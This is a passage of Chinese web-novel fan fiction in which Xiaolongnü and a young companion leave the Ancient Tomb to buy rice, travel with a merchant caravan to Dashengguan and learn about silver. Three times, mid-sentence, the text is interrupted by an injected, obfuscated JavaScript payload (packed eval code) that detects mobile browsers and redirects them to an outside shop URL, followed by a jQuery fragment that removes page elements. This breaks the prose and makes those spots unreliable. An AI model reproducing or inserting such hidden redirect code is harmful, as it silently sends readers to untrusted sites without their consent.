两人来到存放财物的石室,石室里有几只旧箱。箱上覆着一层薄薄灰尘,锁扣虽旧,仍很结实。小龙女打开其中一只,里面整整齐齐放着银锭和碎银,还有些小件珠玉。火折子微弱的光照进去,银色冷冷亮起。 小童子蹲下看了一眼,问:“这些够买米吗?” 小龙女看了看,也不确定,“应当够。” “那买很多米?” “很多青菜。” “还有盐。” “盐还有半罐。” 小童子认真道:“但若下次又忘了买呢?” 小龙女觉得有理,“也买。” 小童子满意地点头,她取了一把碎银,又觉得一把似乎不够,便又取了一把。两只手都满了,她才想起还要拿剑,便把银子倒进一个小布袋里,系在腰间。布袋沉甸甸的,坠得腰带往下一沉。 小童子低头看了看,忽然有些不安,“龙儿,山下的人会不会抢我们银子?” 小龙女想到那群要进古墓抢劫的人,道:“会。” 小童子也想起前几日那些为了古墓宝藏而来的人,立刻把布袋往衣襟里塞了塞,“那不给他们知道。” 小龙女点头,她也取了一些碎银,放进袖中。 两人又各自带了剑,她们明明是去买米,却像要下山与人决战。 可对从未独自采买过的两人来说,山下未必比江湖人围墓容易多少。 出墓前,小龙女回头看了一眼厨房方向,她眼神很静。 这是她做掌门以来,第一次不是因外力所迫,而是自己决定出山门。缘由也很简单,米缸空了。这事若放在从前,她自己不会想到;若放到其他门派,只怕会被嘲笑。 可古墓派的人不能饿死。 小童子站在墓门边,伸手等她。小龙女走过去,将手放进她掌心。 两人牵着手出了古墓。 山风迎面而来,带着一股焦炭冷下去后的苦味。被火熏过的墓门外仍有焦黑痕迹,地上残留着炭灰。前几日被砍倒的树木横在林间,枝叶已经发蔫,断口处泛出潮湿的腐气。那味道混在一起,像一场大战过后尚未散尽的余烬。更远处,山路弯弯曲曲往下延伸,雾气在树间流动,像尚未散尽的烟。 小童子吸了一口山风,“外头还是有烟味。” 小龙女道:“会散。” 她们没有沿着寻常山道慢慢走,山路在两人眼中太慢。 小童子足尖一点,轻轻跃上树枝,小龙女随她而起。两道白影在林间飞纵,踏枝不折,落叶不惊。山风从袖口灌入,又被运转的内息化开。树梢在脚下起伏,雾气被她们掠开,转眼又在身后合拢。 若有人在山下抬头,或许能看见两点白影一闪而过,可今日山中无人。 小童子和小龙女轻功提纵,转眼便到了山脚,这里正是前些日子她们带杨过来过的地方。 那日山脚下热闹得惊人,小摊一个挨一个,人声挤在一起,有卖菜的,有卖饼的,有卖糖人的,有挑担吆喝的。小童子那时觉得吵,比杨过哭声还吵。小龙女也不喜欢,只想快些把杨过安顿出去,然后回古墓练功。 如今她们重新落在这里,却愣住了。 小道空荡荡的,没有摊子,没有卖菜的老婆婆,没有担子,没有吆喝,没有人挤人。 只有一条被马蹄踩出来的泥路,路旁杂草郁郁葱葱,草尖挂着露水。山脚的风吹过来,草叶一片一片低伏,又慢慢立起。远处几棵树歪歪斜斜地站着,树皮粗糙,枝头有鸟停了一瞬,又扑翅飞走。 小童子看着空无一人的小路,眼睛慢慢睁大,她转头看小龙女。 小龙女也看着前方,她的神色仍冷静,但眼底明显有一点疑惑。 小童子压低声音:“龙儿,人呢?” 小龙女没有回答,她也不知道。 两人沿着小道走了几步,路边仍旧什么也没有。 小童子蹲下看地面,地上有旧脚印,有车辙,有马蹄印,可都不是今日留下的。前几日那些人来来往往,把地踩得乱七八糟,如今风干以后,印子变硬,像一片片凌乱的旧字。 小童子站起来,神情更严肃了,“龙儿,他们前几日说终南山有鬼。” 小龙女看她,不知道她为什么要提起这件事。 小童子继续道:“我们是不是也遇到鬼了?” 小龙女安静片刻,问:“何意?” 小童子指着空荡荡的小道:“上次这里那么多人,这次一个都没有。之前那是不是鬼市?” 小龙女顺着她手指看过去,风吹草动,确实空得很。 若从前没有见过那日热闹,便也罢。可她们明明亲眼见过这里人山人海。小童子还把杨过丢到卖菜老婆婆身边,递了银子,要人家以后带着他生活。杨过当时又急又气,又说她不懂人间底细。 那些声音好像还在耳边,可如今什么都没有。 小龙女想了想,鬼市,师父没有教过,孙婆婆也没有说过,倒是师姐曾经讲过类似的故事。 外人常说活死人墓里有鬼。可她和小童子在古墓住了十八年,见过师父,见过孙婆婆,见过师姐,也见过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750841|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 玉蜂,偏偏从未见过鬼。那日见的,会是鬼吗? 小童子又说:“难怪那天那么吵。” 小龙女疑惑,问:“鬼市会吵?” 小童子被问住,她也不知道,但她很快道:“鬼以前是人,人吵,鬼也会吵。” 小龙女点头,这说法有几分道理。 两人站在空荡荡的山脚小道上,认真想了片刻鬼市与人市的区别。 若此时孙婆婆还在,定要又好气又好笑地告诉她们,乡村市集不是日日都有,须得逢着固定墟日,远近村民才会挑担背篓地赶来。尤其山脚下这等地方,人烟稀少,平日里只有附近村民往来。 前几日之所以热闹,是因为活死人墓有宝藏的传闻闹得太大,许多江湖人士往终南山赶,附近乡民见有生意可做,才临时挑担来摆摊聚集。人一多,看着便像市集。 可热闹从来不是这里本来的样子。 如今江湖客被吓跑了,古墓有鬼的传言又传至山下,谁还敢来这里摆摊? 小童子和小龙女自然不懂,她们从未真正入过市,也从未关心过人间买卖如何发生。她们只知道上次这里有人、有菜、有摊子、有老婆婆,现在全都没有了。 小童子忽然往小龙女身边靠了靠,小龙女牵住她的手。两人的内力在掌心轻轻一碰,像确认彼此仍是活人。 小童子看着前方空无一人的小道,问:“龙儿,怎么办?我们还要往外走吗?” 小龙女低头看了一眼自己的腹部,她仍饿。 轻功下山时,内力运转得顺畅,可身体里的空意并没有因此消失。玉蜂浆留下的清甜早已散了,胃里空空的感觉一阵阵泛上来,提醒她们这次出门不是为了探查鬼市,也不是为了江湖见闻。 是为了买米。 小龙女抬手,轻轻摸了摸肚子。这个动作很轻,也很不小龙女。 至少若是旁人看见,绝不会想到这位活死人墓掌门、能把一群江湖人吓得喊鬼的白衣少年,此刻正在认真判断自己还能饿多久。 小童子看见了,她立刻也摸了摸自己的肚子,更饿了。 小龙女抬眼,看向小道尽头。她的声音仍旧平静,却比方才坚定许多,“走。” 小童子看着她。 小龙女道:“我们买一大堆米和青菜回来,然后就一直待在古墓。” 小童子觉得这话说得极对。 一大堆米,一大堆青菜,最好再买一大堆干菜、面粉、点心、鸡蛋、盐和灯油。这样她们就可以回古墓,关上门,练基本功,拆招,琢磨足下剑和肩上剑,再也不必为了肚子空而停下来。 小童子狠狠点头,“对。买很多很多,多到吃不完。” 小龙女纠正:“会吃完。” 小童子想了想,觉得也是,“那买到很久才吃完。” 小龙女点头。 两人站在空小道上,像终于定下什么大事。 小童子道:“若前面还是鬼市呢?” 小龙女看她。 小童子补充:“我是说,若又忽然很多人,然后下一次又没有。” 小龙女想了想,道:“先买米。” 不管是鬼市还是人市,只要能买到米,便都可以。 小童子被这句话安定住,她握紧小龙女的手,“好。” 两人不再停留,小龙女足尖轻点,身形如白练般掠出,小童子紧随其后。她们沿着山脚小道往更远处飞去,不再只循着上次见过的路,而是顺着车辙与人迹,往山外寻去。 风从林间扑来,吹起两人衣摆,路旁荒草向后倒去,山色一点点退远。 终南山脚那片曾经热闹得像市集、如今空得像鬼市的小道,被她们抛在身后。 小童子一边飞,一边低头看了看腰间藏好的银袋。银子在,剑在,龙儿在,只差米。只要这三样都在,旁的事似乎便没什么值得担心。她忽然觉得,这趟下山也没那么可怕。 只是最好快些找到人。 她真的很饿。 29. 买米 小童子和小龙女沿着车辙往山外去。 一开始,她们仍用轻功。山脚小道并不宽,两旁荒草却高,草叶被晨露压弯,轻轻扫过她们衣摆。越往外,终南山的影子便越淡。那些熟悉的松林、冷石、山雾,一点点被抛在身后,取而代之的是更平、更宽、更干的路。 路上有车轮碾过的印子,也有马蹄踩出的浅坑。两人见这些痕迹,便觉得有望。有车马经过,前头便该有人烟。有人烟,就会有米。 她们飞得很快,白衣在荒草间一闪而过,像两只从山中掠出的飞鸟。 可越飞,小童子越觉得肚子空。轻功本就耗气,她又连日只喝玉蜂浆,方才从古墓一路飞到山脚,如今再往外飞,身体里的空意便越来越明显。 小龙女没有说话,她握着小童子的手,内息仍旧稳稳运转。 可她也饿,饿这件事不像疼。疼可以运功压下,可以将心神放到剑招上,也可以忍。饿却像一只很轻的手,时不时从身体里面拽一下。拽得不重,却一直在。她越是用轻功,那只手拽得越频繁。 两人不知道飞了多久,终于,前方道路忽然宽了。 小道接上一条官道,官道比山间路平整许多,黄土被车马压得结实,路旁偶尔立着木桩,远处还能看见一两处低矮土坡。此时天色已亮,薄云铺在天上,日头被遮住,光却比山中明。 就在这时,一阵马蹄声从远处传来。 小童子眼睛一亮,“龙儿,有人。” 小龙女也看见了。 官道尽头,一匹快马疾驰而来。马上之人穿着官府差役的衣裳,腰间挂着令牌,背后斜挎一个皮囊,马蹄踏起细尘,显然赶路甚急。 小童子和小龙女对视一眼,立刻迎了上去。 驿站兵正催马前行,忽见路旁两道白影掠来,几乎以为自己眼花。还没等他勒马,那两人已轻轻落在马侧,竟与奔马并行。 他吓得差点从马上栽下来,“什么人!” 小童子仰头看他,很认真地问:“请问哪里有米可以买?” 驿站兵:“……” 他以为自己听错了。官道上忽然飞出两个白衣少年,轻功快得像鬼魅,追上快马以后,问他哪里有米可以买。 这世道真是越来越怪。 他下意识勒了勒缰绳,马速慢了些。小龙女也随之放慢步子,仍旧牵着小童子,衣袂被风吹起,神色平静得仿佛问米是天下最紧要的大事。 驿站兵看了看两人,一个清冷得像雪,一个俊秀得雌雄莫辨,腰间还带着剑。怎么看都不像寻常人家的孩子。 他警惕道:“你们要买米?” 小童子点头:“很多米。” 小龙女补充:“还有青菜。” 驿站兵更茫然,他是官府送信的驿卒,这一趟要赶去前头驿站换马,哪里知道附近荒野哪有卖米的地方。何况这官道两边村落稀疏,年景又不好,有些地方人家自己都未必有余粮。 可他实在不想被这两个古怪少年继续追着跑,于是他随口道:“顺着官道往前走,见到城,见到人多的地方,就有米买。” 小童子眼睛亮了,“城?” “对,城。”驿站兵催马想走,“人多,店多,自然有粮铺。” 小龙女道:“多谢。” 小童子也跟着道谢:“多谢你。” 驿站兵还没来得及摆手,那两道白影已往前一掠,转眼便把他和马甩在身后。 他坐在马上,愣了半晌,最后低声骂了一句:“真见鬼了。” 小童子和小龙女却很高兴,终于知道哪里有米买了。 顺着官道走,见到城,见到人多的地方,就有米。这话简单清楚,比鬼市、人市都容易明白。 两人立刻提起轻功,沿着官道向前飞掠。官道两旁景色不断后退,黄土、枯草、低坡、偶尔几间远远的茅屋,都在眼前一闪而过。 只是飞了许久,城仍旧没有出现,人多的地方也没有出现。 倒是小童子越来越饿。她一开始还能忍,后来忍着忍着,脚下轻功便慢了半分。小龙女察觉到,便也慢下来。两人从飞掠变成疾行,又从疾行变成普通步行。 小童子摸了摸肚子,“龙儿,那人说顺着官道走,可是官道好长。” 小龙女看向前方,官道笔直,又在远处微微弯折,看不到尽头。天色灰白,风从空旷处吹来,卷起细尘。这里不像终南山,终南山有林,有溪,有鸟兽,有玉蜂。即便不出墓,山中也有一种暗暗流动的生机。 这里却是荒,树少,草也黄。路旁有些树皮被剥掉,露出灰白的树干。小童子走近看了看,发现那树皮不是自然脱落,而是被人一层一层削下去的,边缘还有旧刀痕和牙印。 她皱眉,“这树怎么了?” 小龙女看了一眼,“被人啃过。” 小童子怔住,树皮也能吃? 她从未想过,古墓里虽清苦,却从未清苦到啃树皮。师父不爱口腹之欲,可孙婆婆总能让她们吃上饭。小童子小时候还嫌青菜淡,嫌药膳苦,嫌小龙女吃得太慢。 如今看见路旁连树皮都被人啃过,她才忽然意识到,外面的世界和她想的不一样。 不是到处都有集市,也不是人人都有米。 两人在附近找了找,小童子本想打只野兔、山鸡,先填填肚子。可这里没有茂密森林,没有终南山那样的山泉草丛,连鸟都少。荒草里只有几只瘦虫,听见脚步便钻进土里。远处一片枯地,地上有被挖过的痕迹,像连草根也被人翻走了。一点能进肚子的东西都没有。 小童子站在空旷的荒野里,忽然有些泄气,“龙儿,外面也没有吃的。” 小龙女牵着她的手,“前面有城。” “还有多远?” 小龙女不知道,她没有乱答。 小童子看着她,叹了口气:“我们慢慢走吧。” “嗯。” 两人便牵着手,沿官道慢慢往前走。 风吹过来,衣摆贴着腿。小童子把银袋藏得更紧,怕它掉。她低头看路,偶尔抬头看远方,盼着前面忽然出现一座城,城里有粮铺,粮铺里有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750842|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 袋一袋米。 不知走了多久,身后忽然传来车轮声。这次不是一匹快马,是许多车。 马铃轻响,车轴吱呀。还有人说话、赶牲口的声音,混着货物在车上轻轻碰撞的动静,从官道后方慢慢逼近。 小童子和小龙女回头。 一支商队正沿着官道从身后转折处过来。前头几匹马开路,中间是几辆装满货物的马车,车上盖着油布,用绳索捆得结实。车队两旁跟着十来个随行护卫,人人腰间带刀,神色虽不凶恶,却很警惕。 队伍中间,有一辆车比旁的稳些。车辕旁坐着一个四十来岁的妇人,穿着利落的深青衣裳,头发盘得整齐,手里拿着一把算盘。她正和旁边伙计说话,眼角余光却已扫见路边两个白衣少年。 小童子和小龙女齐齐上前。 这一次,小童子学乖了,没有忽然飞到人家马旁,只是站在路边,等商队靠近,才开口问:“请问距离买米的地方还有多远?” 商队前头护卫立刻按住刀,那妇人抬手止住他,她打量两人。 两个少年年纪不大,却气度极怪。一个白衣清冷,眉眼漂亮得不像人间女子;另一个身形利落,衣装近似少年郎,一双眼睛清亮,站得笔直。 妇人做生意多年,眼睛毒得很,她一看便知,这两人不是寻常人,也不像拦路抢劫的。 哪有拦路抢劫的人,张口问米在哪买? 妇人笑道:“你们要买米?” 小童子点头:“很多很多米。” 小龙女补充:“好久都吃不完的米。” 妇人怔了一下,随即笑出声,旁边几个伙计也忍不住笑。 小童子和小龙女不明所以,她俩都很认真。 妇人忍着笑问:“多到好久都吃不完,那可不是小地方能买齐的。” 小童子紧张:“哪里能买齐?” 妇人指了指前方:“我们正要去大胜关陆家庄。那边近日要选举武林盟主,许多武林人士都往那边去。人一多,吃喝住用都要得多,商人自然也多。米、面、菜、酒、肉,什么都有。” 小童子听见米、面、菜、肉,眼睛一点点亮起来。 小龙女却对前半句起了好奇心,“武林盟主?” 妇人道:“是啊,江湖上的大事。听说蒙古人势大,许多英雄好汉要推举一个领头,好带领大家抗蒙。热闹得很。” 小童子立刻摇头:“我们不看。” 小龙女也道:“只买米回家。” 妇人看着她们一本正经的模样,更觉得有趣。她本是要去大胜关做生意的,近来江湖人往那边聚,米粮、干粮、药材、布匹、酒肉,价格都能涨上一涨。她带的货不少,正想着路上若有顺风买卖也可做。如今遇见这两个不通世事却貌似出手阔绰的小少年,自然不介意顺手带一程。 她故意道:“那可不成。” 小童子和小龙女一愣:“为何?” 妇人一本正经地胡诌:“这几日大胜关要选举武林盟主。要选举,商人才会卖米。不看选举,买不到米。” 30. 一袋米外的人间 小童子:“啊?” 她转头看小龙女,小龙女也微微蹙眉。她们从未听过这种规矩,买米之前竟还要看别人选举?? 小童子忍不住道:“怎么买个米都那么麻烦?” 妇人终于忍不住大笑,她这一笑,周围伙计和护卫也都哈哈笑起来。笑声在官道上散开,把先前荒野的沉闷都冲淡了些。 小童子看着他们笑,更茫然。小龙女倒像明白了什么,她低声道:“她逗你。” 小童子看向妇人。 妇人笑得眼角有细纹,摆手道:“好了好了,不逗你们。你们若真要买米,便跟我的商队走。到了大胜关,别说米,便是买一车两车也有。” 小童子一听“一车两车”,眼睛立刻亮了,“那就买一车!” 她说完又想到,若是一车不够,往后岂不是还要再出来一趟,便很快改口:“不,买两车。” 小龙女提醒:“买两车,怎么带回古墓?” 小童子觉得也是,两车米怎么带?她武功再高,也不能一路扛两车米飞回终南山。 妇人听见“古墓”二字,眼神微微一动。 近日终南山活死人墓的传闻闹得沸沸扬扬,先说有宝藏美人,后又说有鬼。她做生意,消息灵通,自然听过。如今这两个白衣少年说买米回古墓,又是这般不通人事的模样,她心里顿时有了几分猜测。不过她没有点破,她只是个跑商讨生活的普通商人,不想平白卷进江湖事。来历也好,门派也罢,能少问便少问。 她只笑道:“带不动便雇马车和人手。只要银子够,什么都能商量。” 小童子一听,立刻放心了,银子她们有。 妇人又看了看两人的脸色,她做买卖走南闯北,见过饥民,也见过硬撑的江湖人。这两个少年虽站得稳,眼神却明显饿得发空。尤其那个穿得像小郎君的,方才一听米面菜肉,眼睛都亮了。 妇人道:“你们多久没吃正经饭了?” 小童子认真算了算,“三日。” 小龙女补充:“只喝玉蜂浆。” 妇人听不懂玉蜂浆是什么,却知道三日没正经吃饭,再走下去怕要出事。她叹了口气,“先上车吧。我们这里有干粮和热汤,虽不是什么好东西,垫垫肚子总可以。” 小童子眼睛更亮,“可以给我们吃?” 妇人笑道:“可以,不要你们钱。” 小童子立刻道:“谢谢。” 小龙女也道:“多谢。” 两人被安排到上马车。伙计从后面取出馒头、干饼,又盛了两碗热汤。汤是早晨熬的,装在陶罐里,已经不很烫,却仍有温意,里面浮着一点菜叶和油花。 小童子接过馒头时,手指都顿了一下。馒头很普通,甚至有些硬,可它是粮食,真正能填肚子的粮食。她咬了一口,面香在嘴里散开,小童子几乎要叹气,她从未觉得馒头这么好吃。 小龙女吃得仍旧慢,她先喝了一口汤,温热的汤水顺着喉咙落下去,空了许久的胃终于被轻轻安抚。她眉眼本来清冷,此刻却极淡地弯了一下。 小童子正好看见,“龙儿,好吃吗?” 小龙女点头,“好吃。” 妇人在旁边看着,笑意更深。这两个少年长得像画中仙,吃起馒头来倒像饿了许久的小孩子。尤其那白衣冷淡的一个,明明连笑都淡,却因一碗热汤弯了眉眼,看得人心都软了些。 小童子吃得很快,第一个馒头没几口就没了,她看向妇人。 妇人大方地又递了一个,“慢些吃,别噎着。” 小童子接过来,又道谢。 小龙女也吃完一个馒头,喝了半碗汤。她没有再要,倒是把自己碗里剩下的汤推给小童子。 小童子看她,“你不喝?” 小龙女道:“饱了些。” 小童子没有接,她盯着小龙女看了片刻。 旁人或许听不出来,可她听得出来。小龙女说“饱了些”,不是饱了,只是比方才好些。她自己饿,小龙女也饿。只是小龙女惯会这样,把能让的东西悄悄让出来给她。 以前古墓里有吃不完的食物,自己多吃点就多吃点,可是现在吃了可能就没了。 小童子把碗推回去,“你喝完。” 小龙女看她,小童子也看着她,眼神很认真,半点不让,“你没有饱。” 小龙女安静片刻,终于低头,把剩下的半碗汤慢慢喝完。小童子这才满意。 妇人在旁边看着,眼里的笑意更软了些。她走南闯北见过许多人,见过饿急了抢食的,见过嘴上客气手上不慢的,也见过同伴之间为了半块饼翻脸的。眼前这两个孩子明明都饿得厉害,一个却要把汤让出去,另一个又硬是不接,非要对方喝完。她原本只是觉得她们有趣,这会儿倒真多了几分喜爱。 吃过这顿并不丰盛却极救命的饭,两人终于缓过来些。 妇人让人给她们腾出一处位置,小童子却不太习惯坐在车厢里。她看了看货物马车上方捆得结实的油布,又看了看小龙女,最后两人轻轻一跃,坐到了货物最上头。 伙计惊呼一声,怕她们踩坏货。 妇人摆摆手:“让她们坐吧,她们比货物轻。” 这话倒是真的。小童子和小龙女坐在高处,衣摆垂下,随着马车行进轻轻晃动。车轮碾过官道,发出吱呀声。马铃一下一下响,前方有人赶车,后方有人说笑。 两人并肩坐着,手仍牵在一起。 官道两旁的景色慢慢往后退,荒地之后,终于出现了一些村落。 低矮的土屋,篱笆围成的小院,院里晒着柴草。有孩子站在门口看车队,脸上脏兮兮的,眼睛却很亮。等看见货车顶上并肩坐着的两个白衣少年,孩子们便都愣住了。 那两人坐得极高,衣摆垂在货车边缘,被风吹得轻轻晃动。一个眉目清冷,神情淡淡的,好像这一路尘土和人声都与她隔着一层;一个年纪更小些,睁着黑白分明的眼睛四处看,明明满脸好奇,却也白净得像没沾过一点灰,干净得不像从尘世里走出来的人。 几个胆大的孩子便追着车跑了几步,仰头问:“你们是神仙吗?” 另一个孩子抢着道:“难道是传闻中的修仙者?” 又有孩子问:“你们能救活死人吗?被虎狼咬掉肉的人,能不能重新长出肉来?老爷爷老奶奶能不能变年轻?” 小童子和小龙女对视一眼,她们在古墓里从没听过这样的传闻,也不知道该怎么答,只好一起摇头。 孩子们仍睁大眼看她们,像是不大相信神仙也会摇头。也有妇人抱着木盆,从井边走过,见商队经过,便停下来看一眼。远处有瘦牛拉着犁,田地里有人弯腰劳作,衣背被汗湿了一片。 小童子看得很认真,“龙儿,外面的人住在地上。” 小龙女点头。 古墓在山腹里,石室一间连一间,冷而暗。眼前这些屋子却是露在天光下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750843|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 的,有屋顶,有烟囱,有院子,有狗卧在门边。风吹过时,屋檐下挂着的东西会晃。 小龙女道:“他们有窗。” 小童子看过去,土屋墙上果然有窗。窗里透出一点昏黄的光,也有人影走动。 她们从前在古墓里,也有石门、石室、甬道、暗格,却没有这样开在墙上、能一眼看见外头的窗。 小童子忽然道:“住在这样的屋子里,外面的人岂不是一抬头就能看见天?” 小龙女抬头认真望去,才发现天原来这样大,大得没有边,也没有尽头。厚重的云层在高处缓缓翻涌,灰白一片,像有什么看不见的东西在上面推着它们走。那景象神奇得很,却也阴沉得很。天色低低压下来,叫人胸口有些发闷,并不舒服。可那确实是天,没有石顶,没有山腹压着。 小龙女看了一会儿,道:“会冷。” 小童子想了想:“也会热。” “嗯。” 两人继续看。路过一处小河时,河水浅浅流过石滩,有几个孩子卷着裤腿在水里捞什么。小童子以为他们在练轻功,认真看了半天,才发现他们只是捉小鱼。再往前,有人在路边支了茶棚,棚下几张旧桌,茶壶冒着热气。小童子盯着看,问那是不是卖水的地方。小龙女不知道,无法回答。 前头赶车的伙计听见,笑着回头道:“那叫茶棚,卖茶水,也卖些点心。” 小童子立刻记下,外面有一种地方,叫茶棚,能买茶,也能买点心。她觉得这很重要,小龙女也默默记下。 商队继续往前,越往大胜关方向走,路上的人便渐渐多起来。 有挑担的,有赶车的,有牵马的,也有带刀佩剑的江湖人。那些江湖人有的三五成群,有的独来独往,衣裳颜色各异,兵器也各异。有人大声谈论武林盟主,有人说蒙古人如何如何,有人说郭靖黄蓉如何如何。 小童子听见“武林盟主”,便想起妇人方才说不看选举买不到米。她小声道:“龙儿,他们真的都去选举。” 小龙女道:“那米一定很多。” 小童子放心了。 商队妇人坐在前方,听见两人的话,又忍不住笑。她没有回头,只扬声道:“放心吧,到了大胜关,管叫你们买到米。” 小童子和小龙女在车顶上认真道:“多谢你。” 妇人笑道:“不必谢。我到了大胜关认得几家粮商,也认得跑脚运货的车队。你们若真买许多米,我替你们牵线谈价、安排车马,总也能赚些脚钱。” 小童子和小龙女听不太懂,但她俩听懂能买许多米,这就够了。 这一路上,小童子和小龙女一直坐在货物马车上方,看着沿途的风景。外面的世界原来并不是只有吵闹的集市,也不是只有贪婪的江湖人。 它有荒地,有被啃过的枯树,有官道上飞驰的驿马,有会逗人笑的商队妇人,有热汤和馒头,有土屋、窗户、河水、茶棚、孩子和田地。 有些地方很吵,有些地方很荒。有些人会请两个陌生的饿孩子吃饭,也有些小孩说的传闻很有趣。 小童子看得眼睛不肯眨,小龙女也看得很入神。她们都很惊讶,原来外面的世界是这样,又是那样。 不是《九州山川志》里的几行字,也不是李莫愁身上沾回来的尘世气息,更不是山脚下那个热闹得让人头疼的市集。 它很大。 大到一袋米之后,竟还跟着这么多她们从未见过的东西。 31. 银子 商队到大胜关附近时,天色已近午后。 这地方比上次山脚下那个临时市集还要热闹,而且热闹得更有章法。 山脚那次,许多人是被传言赶到一起,脸上都带着急切与贪念。这里的人也吵,也挤,却不是同一种吵。有人赶路,有人做买卖,有人找住处,有人拴马,有人站在路边高声谈论蒙古与襄阳,还有人一边啃饼一边与同伴争论谁该做武林盟主。 小龙女在看,她的目光缓缓掠过那些摊棚与行人,像是在记一幅从未见过的招式图。 这里的颜色很多,布幌是红的、青的、黄的。路边摊上的果子有青有紫,陶罐上沾着深色酱汁,马车油布被阳光晒得发亮。来来往往的人衣裳也杂,粗布、锦衣、道袍、短打、皮靴、草鞋,所有东西都挤在一起,像一幅她从未见过的画。 小童子低声道:“龙儿,这里不是鬼市。” 小龙女看着前方,“嗯。” 这里人太多,若鬼也这么多,那便和人无区别了。 商队妇人坐在前头,听见她们的话,忍了忍,还是笑了。她没有追问什么鬼市,这一路上,她已隐约看出这两个孩子是真不懂人间。她们武功看不出深浅,气度也不像寻常人家的子弟,可问起买米、茶棚、钱财,却像刚从深山石缝里走出来。 她带商队进了镇口,转过一条宽些的街,又绕开前方往陆家庄去的主道,最后停在一间客栈门前。 客栈很大,门口挂着两盏灯笼,木匾上写着字。 小童子认得那几个字,却第一次见这样的地方。门前拴着几匹马,伙计在檐下迎客,见商队停下,立刻熟门熟路地上来招呼。 妇人跳下车,拍了拍衣摆,回头对小童子和小龙女道:“到了,你们先下来。” 两人从车顶轻飘飘落下,衣角只微微一扬,脚尖点地时竟连半点尘土也没惊起。 客栈门口几个江湖人正要进门,看见她们这一手轻功,脚步都顿了一下。 小龙女白衣清冷,小童子束袖窄腰,身形如剑。二人站在车旁,明明脸上没什么表情,可方才那一下落得太俊,叫懂行的人不由自主多看一眼。 妇人见状,往前一步,挡了挡那些目光,她笑着对伙计道:“给我留的房还在吧?” 伙计连忙道:“在,在,夫人吩咐过的,小的哪敢给旁人。” 妇人点头,回身吩咐车队:“车马牵去后院,先喂水添草;押车的去看行李,别叫人近前;还有两个去问粮商,按我先前说的几家问价。” 她又对伙计道:“我那间照旧。再开一间清静些的给这两个小孩,随行的人另开两间房,车把式和马夫住后院,饭食草料都记在我账上。” 伙计一一应了,转头招来两个店中伙计,低声把房间、饭食和草料都交代清楚,自己仍留在前头候着。 妇人这才对身边两名随从点了点头,又对小童子和小龙女道:“跟我上去说。” 她没有在门口多停,客栈门口人来人往,江湖人多,眼睛也杂。伙计在前头引路,一行人穿过大堂。大堂里坐满了人,桌上酒菜热气腾腾,刀剑倚在桌边,谈笑声、划拳声、议论武林盟主的声音混在一起。 小童子一进门便闻到饭菜香,脚步不由慢了一下。小龙女握了握她的手,小童子这才继续往前走。 上了楼,妇人推开一间靠里的客房。 房间不大,却比楼下清静许多。一张木桌,两把椅子,靠墙一张床,窗户半掩着,能听见街上的人声,却不至于吵得耳朵疼。 两名随从没有进屋,只在门外候着。 妇人等伙计退下,亲手把门掩好,又看了一眼窗外,才转向小童子和小龙女。 “你们不是要买米么?这地方人多,粮商也多,不过不是你们自己冲过去说要多少就能立刻搬走的。要问价,要看米色,要定数量,还要找车把米送回你们家。” 小童子听得很认真,她本以为买米就是给银子,拿米,回家。原来还要看米色,还要找车。 小龙女也听着,她忽然觉得,出门买米这件事,比练肩上剑还复杂一些。 至少肩上剑难在内力,她心里知道难在哪里。买米的难,却像从四面八方冒出来,牵着许多她们从没想过的东西。 妇人伸手:“把你们带的钱给我看看。” 小童子从衣襟里摸出布袋,递过去;小龙女也把袖中的碎银取出。 妇人打开一看,眉头微微挑了挑。银子不少,而且成色很好。 妇人没急着收,她先倒出几块放在掌心里,问:“你们知道这是多少么?” 小童子看着那些银子,银子就是银子,大块一些,小块一些,她不知该怎么答;小龙女垂眼看了看,知道它能换衣食住处,却也分不清这一掌银子在世上究竟算多算少。 她终于能确定,这两个孩子确实不是寻常人。寻常人家哪会让两个不懂银价的小孩带着这么多银子在外头乱跑。 妇人叹了口气,又觉得好笑,“你们真不知道?” 小童子诚实摇头。 小龙女说:“古墓里有很多。” 妇人手一顿,很多。她抬头看了两人一眼,心里将终南山活死人墓的传言又过了一遍。难怪外头传古墓有金银宝藏,原来倒不是全然胡说。 只是这两个孩子说起“很多”时,神情太坦然,像在说古墓里有许多石头、许多蜂、许多冷气。她们认得银子,却不知它在人间轻重几何。 妇人把银子放在桌上,让伙计取来一只小秤,又叫人拿了一串铜钱来,“来,我教你们。” 小童子立刻凑近,小龙女也上前一步,垂眼看着。 妇人指着桌上的铜钱道:“这是铜钱。平日买小东西,多用它。一个肉包,地方不同价不同,大概几个钱到十来个钱。若在这种人多的时候,价格会贵些。” 小童子眼睛一亮,“肉包。” 妇人笑道:“对,肉包。你若拿这么一小 